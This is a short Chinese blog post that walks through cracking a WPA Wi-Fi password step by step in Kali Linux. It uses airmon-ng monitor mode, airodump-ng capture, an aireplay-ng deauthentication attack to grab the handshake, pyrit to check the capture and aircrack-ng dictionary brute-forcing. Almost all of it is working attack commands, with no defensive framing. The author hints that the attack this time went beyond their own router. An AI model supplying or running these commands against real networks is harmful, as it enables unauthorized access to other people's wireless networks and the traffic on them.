博客

默认配置的路由器，8位以下密码，黑客几分钟就可以破解。

以前用自己的路由器做过实验，这次真正实践成功。

环境：Kali Linux

工具集：aircrack-ng

(打开终端)

airmon-ng

查看并记录要使用的网卡Interface名，我的是wlan0。

airmon-ng start wlan0

启动监听模式，Interface为wlan0mon。

airodump-ng wlan0mon

开始监听。 确定目标后按ctrl+c退出。记录下目标的BSSID和频道号CH。

airodump-ng -c [频道号] –bssid [BSSID] -w [保存文件名] wlan0mon

监听数据包。

(另开终端)

aireplay-ng -0 10 -a [BSSID] wlan0mon

开始Deauth攻击，次数10。

观察之前的终端，当右上角出现Handshake，代表已经抓取到握手包，按ctrl+c退出。

在主文件夹查看取得的.cap文件。

pyrit -r [文件名] analyze

分析是否捕获到good握手包。

pyrit -r [文件名] -o [新文件名] strip

精简数据包。

取得所需的.cap数据包，如果需要，转移到运行暴力破解的电脑上。

准备好字典文件，一般至少要5M以上的，5M不需要多久就能跑完。

aircrack-ng -w [字典文件] [cap文件]

运行暴力破解，等待结果。